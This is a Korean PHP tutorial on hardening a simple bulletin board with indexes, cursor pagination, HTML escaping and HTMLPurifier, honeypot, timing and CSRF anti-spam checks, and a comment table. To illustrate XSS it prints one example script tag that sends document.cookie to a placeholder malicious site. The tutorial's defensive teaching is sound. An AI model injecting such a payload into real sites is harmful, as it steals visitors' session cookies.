게시판 개선하기
이번 강좌에서 다루는 것들
기본 게시판을 만들었다면, 이제 실제 서비스에 올리기 위한 개선 작업이 필요합니다.
- 인덱스를 활용한 성능 개선
- XSS 방어 — 허용할 HTML 태그 제한
- 스팸 봇 차단
- 댓글 기능 추가
성능 개선 — 인덱스
게시물이 수만 건이 넘어가면 정렬이 느려집니다.
thread 컬럼으로 ORDER BY를 자주 쓴다면 인덱스가 필수입니다.
-- thread 컬럼에 인덱스 추가
ALTER TABLE threadboard ADD INDEX idx_thread (thread);
-- 글 읽기에서 id로 검색 — PRIMARY KEY가 자동으로 인덱스 역할을 합니다
-- 별도 인덱스 불필요
LIMIT + OFFSET의 한계
글이 많아지면 뒷페이지로 갈수록 느려집니다.
LIMIT 10 OFFSET 90000은 DB가 앞의 90,000개를 읽고 버리기 때문입니다.
이를 해결하는 방법 중 하나가 커서 기반 페이지네이션입니다.
<?php
// 기존 방식 (느림 — 뒷페이지로 갈수록 느려집니다)
$stmt = $pdo->prepare(
"SELECT * FROM board ORDER BY id DESC LIMIT :limit OFFSET :offset"
);
// 개선 방식 (빠름 — 마지막으로 본 글의 id를 기준으로 가져옵니다)
$lastId = (int) ($_GET['last_id'] ?? PHP_INT_MAX);
$stmt = $pdo->prepare(
"SELECT * FROM board WHERE id < :last_id ORDER BY id DESC LIMIT :limit"
);
$stmt->bindValue(':last_id', $lastId, PDO::PARAM_INT);
$stmt->bindValue(':limit', 10, PDO::PARAM_INT);
$stmt->execute();
$rows = $stmt->fetchAll();
// 다음 페이지 링크: 마지막으로 받은 글의 id를 넘깁니다
$nextId = end($rows)['id'] ?? null;
커서 기반 방식은 "무한 스크롤" 같은 인터페이스에서도 많이 씁니다.
XSS 방어 — 허용할 태그 제한
사용자가 입력한 내용을 그대로 HTML로 출력하면 스크립트 삽입(XSS)이 가능합니다.
<!-- 악의적인 입력 예 -->
<script>document.location='http://악성사이트.com?cookie='+document.cookie</script>
가장 안전한 방법은 모든 태그를 제거하고 htmlspecialchars()로 이스케이프하는 것입니다.
<?php
// 가장 안전한 방법 — 모든 HTML 태그 제거
$safe = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
echo nl2br($safe);
일부 HTML(<b>, <i> 등)을 허용하고 싶다면, 직접 허용목록을 관리하거나
검증된 라이브러리(HTMLPurifier)를 씁니다. strip_tags()만으로는 부족합니다.
<?php
// strip_tags — 허용 태그 외 제거하지만 속성 필터링 없어 우회 가능
$partial = strip_tags($userInput, '<b><i><u>');
// 더 안전하게: 속성까지 제거하려면 HTMLPurifier 같은 라이브러리를 쓰세요
// Composer: composer require ezyang/htmlpurifier
require 'vendor/autoload.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean = $purifier->purify($userInput);
스팸 봇 차단
자동 글쓰기 봇(Bot)은 폼 구조를 분석해서 자동으로 데이터를 전송합니다.
방법 1: 허니팟 (Honeypot)
사람 눈에는 안 보이지만 봇은 채우는 숨겨진 필드를 만듭니다.
<!-- CSS로 숨깁니다 (display:none이나 visibility:hidden은 봇이 무시할 수 있으니 위치 이동) -->
<div style="position:absolute; left:-9999px;">
<input type="text" name="website" tabindex="-1" autocomplete="off">
</div>
<?php
// 허니팟 필드에 값이 있으면 봇으로 판단
if (!empty($_POST['website'])) {
exit; // 조용히 종료 (에러 메시지를 주면 봇이 학습합니다)
}
방법 2: 글쓰기 시간 제한
봇은 폼을 열자마자 즉시 전송합니다. 최소 시간을 체크합니다.
<?php
session_start();
// write.php — 폼을 열 때 시간을 세션에 기록
$_SESSION['form_opened_at'] = time();
// insert.php — 제출 시 경과 시간 확인
$elapsed = time() - ($_SESSION['form_opened_at'] ?? 0);
if ($elapsed < 3) { // 3초 미만이면 봇으로 의심
exit;
}
unset($_SESSION['form_opened_at']);
방법 3: CSRF 토큰
폼에 숨겨진 토큰을 넣고, 서버에서 검증합니다.
봇이 외부에서 폼을 직접 전송할 때를 막을 수 있습니다.
<?php
session_start();
// write.php — 토큰 생성
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
<!-- 폼에 토큰 삽입 -->
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
<?php
// insert.php — 토큰 검증
if (!hash_equals($_SESSION['csrf_token'] ?? '', $_POST['csrf_token'] ?? '')) {
exit('올바르지 않은 요청입니다.');
}
unset($_SESSION['csrf_token']);
댓글 기능 추가
댓글 테이블은 게시판 테이블과 별도로 만듭니다.
bid(board id)로 어느 글의 댓글인지 연결합니다.
테이블
CREATE TABLE comment (
id INT UNSIGNED NOT NULL AUTO_INCREMENT,
bid INT UNSIGNED NOT NULL,
name VARCHAR(20) NOT NULL,
pass VARCHAR(255) NOT NULL,
content TEXT NOT NULL,
wdate DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
ip VARCHAR(45) NOT NULL,
PRIMARY KEY (id),
INDEX idx_bid (bid)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
bid에 인덱스를 걸어야 특정 글의 댓글을 빠르게 가져올 수 있습니다.
댓글 출력 — read.php에 추가
<?php
// 해당 글의 댓글 목록
$stmt = $pdo->prepare("SELECT * FROM comment WHERE bid = :bid ORDER BY id ASC");
$stmt->execute([':bid' => $id]);
$comments = $stmt->fetchAll();
?>
<h3>댓글 <?= count($comments) ?>개</h3>
<?php foreach ($comments as $c): ?>
<div style="border-bottom:1px solid #eee; padding:8px 0;">
<strong><?= htmlspecialchars($c['name'], ENT_QUOTES, 'UTF-8') ?></strong>
<small><?= $c['wdate'] ?></small>
<a href="comment_delete.php?id=<?= $c['id'] ?>&bid=<?= $id ?>">삭제</a>
<p><?= nl2br(htmlspecialchars($c['content'], ENT_QUOTES, 'UTF-8')) ?></p>
</div>
<?php endforeach; ?>
<!-- 댓글 쓰기 폼 -->
<form action="comment_insert.php?bid=<?= $id ?>" method="post">
<input type="hidden" name="bid" value="<?= $id ?>">
이름: <input type="text" name="name" maxlength="20" required>
비밀번호: <input type="password" name="pass" required>
<br>
<textarea name="content" cols="60" rows="3" required></textarea>
<br>
<input type="submit" value="댓글 등록">
</form>
댓글 저장 (comment_insert.php)
<?php
declare(strict_types=1);
require 'db.php';
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header('Location: list.php');
exit;
}
$bid = (int) ($_POST['bid'] ?? 0);
$name = trim($_POST['name'] ?? '');
$pass = trim($_POST['pass'] ?? '');
$content = trim($_POST['content'] ?? '');
if ($bid === 0 || $name === '' || $pass === '' || $content === '') {
exit('모든 항목을 입력해주세요.');
}
$pdo->prepare(
"INSERT INTO comment (bid, name, pass, content, ip)
VALUES (:bid, :name, :pass, :content, :ip)"
)->execute([
':bid' => $bid,
':name' => $name,
':pass' => password_hash($pass, PASSWORD_DEFAULT),
':content' => $content,
':ip' => $_SERVER['REMOTE_ADDR'],
]);
header("Location: read.php?id={$bid}");
exit;
댓글 삭제 (comment_delete.php)
<?php
declare(strict_types=1);
require 'db.php';
$id = (int) ($_GET['id'] ?? 0);
$bid = (int) ($_GET['bid'] ?? 0);
if ($id === 0) {
header('Location: list.php');
exit;
}
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
?>
<form method="post">
비밀번호: <input type="password" name="pass" required>
<input type="submit" value="삭제">
</form>
<?php
exit;
}
$stmt = $pdo->prepare("SELECT pass FROM comment WHERE id = :id");
$stmt->execute([':id' => $id]);
$row = $stmt->fetch();
if (!$row || !password_verify($_POST['pass'], $row['pass'])) {
exit('비밀번호가 틀렸습니다.');
}
$pdo->prepare("DELETE FROM comment WHERE id = :id")->execute([':id' => $id]);
header("Location: read.php?id={$bid}");
exit;
개선 포인트 정리
| 항목 | 방법 |
|---|---|
| 정렬 성능 | thread, id 컬럼에 인덱스 추가 |
| 뒷페이지 성능 | 커서 기반 페이지네이션 |
| XSS 방어 | htmlspecialchars() + HTMLPurifier |
| 스팸 봇 차단 | 허니팟 + 시간 제한 + CSRF 토큰 |
| 댓글 | 별도 테이블 + bid 인덱스 |
게시판을 직접 만들어보는 것은 웹 개발의 기본기를 다지는 좋은 훈련입니다.
하지만 실제 서비스에서는 검증된 오픈소스 게시판이나 프레임워크를 쓰는 것이 훨씬 안전합니다.
직접 만들 때는 보안 취약점을 빠뜨리기 쉽고, 그 대가는 크기 때문입니다.